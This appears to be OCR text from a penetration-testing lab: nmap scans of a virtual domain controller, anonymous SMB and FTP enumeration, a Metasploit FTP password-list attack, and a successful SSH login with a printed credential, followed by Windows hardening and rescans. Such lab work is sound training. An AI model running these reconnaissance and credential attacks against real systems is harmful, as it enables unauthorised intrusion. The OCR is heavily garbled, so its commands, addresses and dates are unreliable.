Digest charset=utf-8 algorithn=hDs-sess qopauth realm=Digest nonce

Wicrosoft 115 httpd 10.0

Upgradedsvifa29e7bocabeonce10s fbcdega03daf68da25d1 88cAdCo11ec2d32d82a32588 fbAcea3{d02b27d67e785426106294290dd3e6b|

http-ntlm-info
Target_Name: SWANSEA
NETBI0S Domain Name: SWANSEA
NetBIOS Computer_Name: 5-DC
ONS_Domain_Nane: swansea.acca

ONS _Conputer_Name: 5-DC. swansea. acca
ONS Tree Name: swansea.acca
proguct Version: 10..20345
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rooteoshoxes:~# nmap T4 192.168.1.8/24
Starting Nmap 7.89 ( https://nnap.org ) at 2026-64-04 11:15 EOT
Nnap scan report for 192.168.1.1

Host is up (0.0017s latency)

Not shown: 980 closed ports

PORT  STATE SERVICE
7/tcp open echo

9/tcp  open discard
13/tcp  open daytine

17/tcp  open gotd
1s/tcp open  chargen

21/tcp  open ftp

53/tcp open domain

80/tcp open http

83/tcp open kerberos-sec

135/tcp open msrpc

135/tcp open netbios-ssn

389/tcp open ldap

443/tcp open https

445/tcp open microsoft-ds

464/tcp open  kpasswds

515/tcp open printer

593/tcp open  ttp-rpc-epnap

636/tcp open ldapssl

3268/tcp open  globalcatLDAP

3263/tcp open _globalcatLDAPss

MAC Address: 08:00:27:14:80:9D (Oracle VirtualBox virtual NIC)

Nnap scan report for 192.163.1.50
Host is up (60060825 latency) .
Mot shown: 999 closed ports

PORT  STATE SERVICE

111/tcp open  rpcbind

)@zl

Nnap done: 256 Ip addresses (2 hosts up) scanned in 2.85 seconds
rooteosboxes:-# nmap -T4 -A 192.168.1.1

Starting Nnap 7.89 ( https://nnap.org ) at 2026-64-04 11:15 EOT
Nnap scan report for 192.168.1.1

Host is up (0.00175 latency)
Mot shown: 980 closed ports
PORT  STATE SERVICE veRsTON

7/tep open echo

root@esboxes:
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root @osboxes: ~

File Edit View Search Terminal Help
Error returning browse List: NT_STATUS REVISION MISHATCH -
Reconnecting with SMB1 for workgroup listing

do_connect: Connection o 192.168.1.1 failed (Error NT_STATUS RESOURCE NAME NOT_FOUND)

Failed to connect with SMBL - no workgroup available

rooteoshores:~# smbclient -L //192.168.1.1/ N

Anonymous login successful

Sharenane Type  Comment
L snblcli_req writev_subnit: called for dialect[sg3 11] server[192.168.1.1]
. Error returning browse List: NT STATUS REVISION MISHATCH

Reconnecting with SB1 for workgroup listing
do_connect: Connection o 192.168.1.1 failed (Error NT_STATUS RESOURCE NAME_NOT_FOUND)
Failed to connect with SMEL - no workgroup available

Footeoshoxes:~# smbelient -L //192.168.1.1/ -N

Anonymous login successful

Sharenane. Type  Comment
smblcli_req writev_subnit: called for dialect[SM83 11] server[192.168.1.1]

Error returning browse list: NT_STATUS REVISION MISHATCH

Reconnecting with SB1 for workgroup listing

do_connect: Connection to 192.165.1.1 failed (Error NT STATUS RESOURCE NAME NOT FOUND)

Failed to connect with SMBL - no workgroup available

rooteosboxes:~# Il =
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HKLMSystem\CurrentControlSet Senvces\SImpTCP\Parameters\EnsbieTcpQotd
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Applcations = Places ~ ] Terminal +

root @sboxes: ~

dod,

netasploit v5.0.41-dev
+ - --=[ 1914 exploits - 1074 auxiliary - 330 post
+ - ~=[ 556 payloads - 45 encoders - 10 nops

+ o -=[ 4 evasion

515 > mfsconsole

B () o coman: nfsconsate

&
@ 55 e stuiaryscamer/teprananyous

BEf auANLany(1contar, 119 snnyocus) o Set RHOSTS 192.168.1.1

RDsTs o> 157, 168.1.1

RS auRiliary(canner/Fep/ananyaos) > run

11 192.168.2.1:21 - 192.160.1.3:21 - Anonymous READ/WRITE (226-Microsoft FTP Service
B 226 uetcone o Suavsea.Acch netvorki111)

147 To2:268.2,121 ? SCannea 1 of 1 hosts (100% comptete)

W 1] Avciliary modute execution comptetes
et mund iy (o ey L) 5 e aucLiarysscanmer/ /. Login
SEES Sumitiany scommer 45/ 4p agin 2 Set RGSTS 147 18811
B85 auclLiary Scamier/ 1t/ Login) > set USERUME anonynous
ST auntTiary(oner 45/ 115 Legia) > set pASSYORD -

. nsfS auxiliary(scanner/ftp/ftp_login) > run

[+] 192.168.1.1:21 192.168.1.1:21 - Starting FTP Login sweep
[+] 192.168.1.1:21 Error: 192.168.1.1: Metasploit::Framework: :Loginscanner: :Invalid Cred details can't be blank, Cred details can't be blank (Metasploit
[+] 192.168.1.1:21 - Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed
Bs£5 auxiliary(scanner/ftp/tp_login) > exit
FootCoshores:~# wget -r ftp://anonymous: snonymous@192.168.1.1/
-2026-04-04 12:02:15--  tp: //anonymous: *password+e192.168.1.1/
= "192.168.1.1/. listing’

Connecting to 192.168.1.1:21... connected
Logging in as anonymous -.. Logged int

done S PD .. done

done. == CWD not needed.

Franework: :Loginscanner: :FTP)
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oot @osboxes: -

Terminal Help

rootEosboxes:—# s
192.168.1.1 Desktop Documents Downloads
Footgosbores:~# cat important file.txt
5 900ro0taoshoxes:~# cat test.txt
test.txt: No such file or directory

important_file.txt Music Pictures Public Templates Videos

FootGoshotes:# wget -r ip://anonynous ananyous@192. 168.1.1/
2626-64-04 12:04:23--  tp://anonymous. *password+@192.168. 1.1/
=> 192.168.1.1/. listing"
Connecting to 192.168.1.1:21.... connected
Logging in as anonymous ... Logged int
"SYST ... done ~'owD ... done
M =t i done. - a0 not needed.
= pasy ... done. == LIST ... done
B st I | e s s
==> PASV ... done. == LIST ... done
192.168.1.1/. Usting [ 1 24 -kess dnes
2026-64-04 12:04:23 (5.85 MB/s) - *192.168.1.1/.listing’ saved [438]
Removed '192.168.1.1/.listing
2026-04-04 12:04:123 - F1p://anonymous  password+@192.168.1.1/accb6g0p . txt
*152.168.1.1/accb6080. txt’
> O ot required
= AV ... done > RETR accb6000. txt ... done.
©  Length: 67
192.168.1.1/accb6000. txt 16081 67 -.KB/s  in 0.001s
2026-64-04 12:04:23 (95.1 KB/s) - 192.168.1.1/acch6000. txt’ saved (67]
2026-04-64 12:04:23--  ftp://anonymous: +password+@192..168.1.1/important_file. txt
192.168.1.1/inportant_file. txt’
> o not required
> pasU ... done > RETR. important_file.txt ... done
Length: 10
152.168.1.1/inportant_file.tx 1608 1 10 -Kess  dnos
2626-64-04 12:04:23 (116 K/s) - '152.168.1.1/inportant_file.txt’ saved [10]
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oot @osboxes: -

File_dit Terminal Help

RHOSTS = 192,168.1.1
555 auxiliary (scanner/Ttp/ftp_login) > set USERNAME Administrator

USERNAME => Adninistrator
msf5 auxiliary(scanner/ttp/ftp_login) > set PASS_FILE /usr/share/wordlists/rockyou. txt

PASS FILE => /usr/share/wordlists/rockyou. txt
565 auxiUary(scanner/1tp/ftp_Login) > set STOP_ON_SUCCESS true
STOP ON_SUCCESS => true

msfs auxiUary(scanner/ftp/tp Login) > run
PASS FILE

[-] Auxiliary failed: Msf::0ptionvalidateError The following options failed to validate:
msfs auxiliary(scanner/ftp/ftp login) > ls /usr/share/wordlists/
[°] exec: 1s /usr/share/wordlists/

fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz

dirb dirbuster dnsmap.txt
msf5 auxiliary(scanner/ftp/ftp_login) > exit

Footeoshores:~# qunzip /usr/share/wordLists/rockyou. txt.gz
rooteoshores:~# s /usr/share/wordlists/

dirb dirbuster dnsmap.txt fasttrack.txt fern-wifi
rooteoshores:—# mfsconsole

bash: nfsconsole: command not found

Footeosbores:-# msfconsole

=[ netasploit v5.0.41-dev
+ - --=[ 1914 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops

+ 20T @ evasion

msf5 > use auxiliary/scanner/ftp/ftp login
msf5 auxiUary(scanner/ftp/ftp_Login) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1

msf5 auxiUary (scanier/ftp/ftp login) > set USERNAME Administrator
USERNAME => Adninistrator

msfs auxiliary(scanner/ftp/ftp login) > set

PASS_FILE /usr/share/wordlists/rockyou. txt

metasploit nmap.lst rockyou.txt wfuzz

whuzz
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root@osbores: °e
File Edit_View Search Terminal Hel
Footeosboxes:- msfconsole

e

[t

)
1
1
s P I P i | 1
% | | 1 1~ 1
n I [ 1
Do 1
Do 1
M| o 1
e ¢ 1
=[ metasploit v5.0.41-dev 1
|+ - --=[ 1914 exploits - 1674 auxiliary - 330 post 1
. =[ 556 payloads - 45 encoders - 16 nops, 1
. 4 evasion 1

Bsf5 > use auxiliary/scanner/ssh/ssh_login

BST5 auxiliary(scanner/ssh/sch Login) > set RHOSTS 192.168.2.1
RHOSTS => 192.168.2.1

DST5 auxiliary(scanner/ssh/ssh login) > set USERNAME Londonlogin
USERNAME => Londonlogin

NSTS auxiliary(scanner/ssh/ssh Login) > set PASSWORD Notebook@123
PASSHORD => Notebooke123

DSTS auxiliary(scanner/ssh/ssh_Login) > set STOP_ON SUCCESS true
STOP_ON_SUCCESS => true

& | et aukiliary(scamner/ssh/ssh_togin) > run

V=0

[+] 192.168.2.1:22 - Success: londonlogin:Notebooke123' **
Command shell session 1 opened (192.168.1.50:39479 -> 192.168.2.1:22) at 2026-04-04 12:48:56 -0480
Scanned 1 of 1 hosts (100% complete]
Auxiliary module execution completed

Bsfs auxiliary(scanner/ssh/sch Togin) > I
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root @osboxes: ~

=[ metasploit v5.9.41-dev
- --=[ 1914 exploits - 1074 auxiliary - 330 post
IS0 556 payloads - 45 encoders - 10 nops
4 evasion

1515 > use auxiliary/scanner/ssh/ssh login
auxiliary (scanner/ssh/s5h Login] > set RHOSTS 182.168.2.1

msfs
M Rosts - 102110821
nsfs auiliary(scanner/ssh/ssh login) > set USERNAME londonlogin
@ e o Tonsertonin
Dsf5 auxiliary(scanner/ssh/ssh login) > set PASSWORD Motebooka123
PASSWORD => NotebooKe123
- STOP_ON_SUCCESS true

BS£5 auxiliary (scanner /ssh/ssh_Login) > set
STOP_ON_SUCCESS
msf5 auxi Uiary (scanne:

r/ssh/ssh_login) > run

[+] 192.168.2.1:22 - Success: *londonlogin:Notebooke123'
Command shell session 1 opened (192.168.1.50:39479 -> 192.168.2.1:22) at 2026-04-04 12:48:56 0408
Scanned 1 of 1 hosts (100% conplete)
Auxiliary nodule execution conpleted

nsfs auxiliary(scanner/ssh/ssh Login) > sessions
Starting interaction with 1

Linux L-CD 5.12.48+debl3-ands4 #1 SHP PREEVPT_DYNAWIC Debian 6.12.43-1 (2025-09-20) x86_64

i

The prograns included with the Debian GNU/Linux system are free software;
the exact distribution terns for each program are described in the
individual files in /usr/share/doc/+/copyright

oz

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
Tty oty
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Network access: Do not allow anonymous enumeration of ... Enabled
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Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved

c: \Users\Administrator>wf.msc
C:\Users\Administrator>services.msc
lc: \Users\Administrator>secpol.msc
C:\Users\Administrator>gpmc.msc

c: \Users\Administrator>gpupdate /force
Updating policy...

Computer Policy update has completed successfully.

User Policy update has completed successfully.

c: \Users\Administrator>

My Intemet Information Services (IL...
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root@osbores: ~

File Edit_View Search Termina
13/tcp open chargen
MAC Address: 08:00:27:14:89:90 (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.04 seconds
Footeosboxes:# nnap -p 19 192.168.1.1

Starting Nnap 7.8 ( https://niap.org ) at 2026-64-04 15:49 EDT
Nnap scan report for 192.168.1.1

Host 1s up (0.000815 latency)

PORT  STATE SERVICE
15/tcp closed chargen
HAC Address: 03:00:27:14:89:90 (Oracle Virtualsox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 8.03 seconds
rooteoshoxes:~# nmap -p 13 182.168.1.1

Starting nap 7.80 ( nitps://nasp.org ) at 2026-04-04 15:50 EBT
Nnap scan report for 192.168.1

Host is up (0.00135 latency)

PORT  STATE SERVICE
13/tcp closed daytine
MAC Address: 03:00:27:1A:80:90 (0racle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 6.04 seconds
rootgosboxes:~# | ]
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root@osboxes: ~
View  Semrch
PORT  STATE SERVICE H
80/tcp open http

MAC Address: 68:00:27:14:80:9D (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.02 seconds
Footaoshoxes:—# nmap -p 80 152.168.1.1

Starting Nnap 7.80 ( https://nap.org ) at 2026-64-64 15:40 EDT
Nnap scan report for 192.163.1.1

Host is up (6.0011s latency)

PORT  STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:14:80:90 (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.04 seconds
rooteosboxes:-# nmap -p 80 192.168.1.1

Starting Nnap 7.8 ( https://nap.org ) at 2026-64-04 15:43 EDT
Nnap scan report for 192.168.1.1

Host is up (0.00091s latency)

PORT  STATE SERVICE
80/tcp closed http
MAC Address: ©08:00:27:14:80:90 (Oracle VirtualBox virtual NIC)

[ ]
"
£
“

tnap done: 1 TP address (1 host up) scanned in 6.02 seconds ]
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Applcations = Places ~ ] Terminal +

arch Terminal_Help

rootaosboxes:~# ping -c 4 192.168.2.16
PING 192.168.2.10 (152.168.2.16) 55(84) bytes of data

54 bytes from 152.168.2.10: icnp_seq=1 ttl=s2 tine=3.81 ms
54 bytes from 152.168.2.10: icmp_seq=2 Ttl=62 Tine=4.90 ms
54 bytes from 152.168.2.10: icnp_seq=3 ttl=s2 tine=4.70 ms
e

- 192.168.2.10 ping statistics
3 packets transmitted, 3 received, 0% packet loss, tine 2005ns
rtt min/avg/max/ndev = 3.807/4.476/4.902/8.475 ms
rooteosboxes:# ping -c 4 192.168.2.1

PING 152.168.2.1 (192.168.2.1) 56(84) bytes of data

64 bytes from 192.168.2.1: icnp seq=1 ttl=63 tine=3.03 ms

43 ms

54 bytes from 192.168.2.1: icmp_seq=2 tt1=63 tine=
32 ms

54 bytes from 192.168.2.1: icnp seq=3 ttl=63 tin
“c

152.168.2.1 ping statistics
3 packets transmitted, 3 received, 0% packet loss, tine 2006ms
rtt min/avg/max/ndev = 3.028/3.524/4.430/8.635 ms
rootaosboxes:~# ping -C 4 192.168.1.1

PING 152.168.1.1 (152.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icnp_se

64 bytes from 192.168.1.1; icnp seq=2 ttl=128 time=2.60 s
kd

oz

--- 192.168.1.1 ping statistics -
2 packets transmitted, 2 received, 6% packet loss, tine 1003ns
FLE min/avg/max/ndev = 2.597/3.593/4.589/8.996 ns.
root@osboxes:# ping -c 4 192.168.1.10

PING 152.168.1.10 (192.168.1.10) 56(84) bytes of data

64 bytes from 192.168.1.10! 22 ms
54 bytes from 152.168.1.10: 76 ms
a7 ms

54 bytes from 192.168.1.10: icmp_seq=3 Tt
c

152.168.1.16 ping statistics
3 packets transmitted, 3 received, 0% packet loss, tine 20055
Ftt min/avg/max/mdev = 1.222/3.315/4.966/1.560 ns
root@osboxes:~# ]
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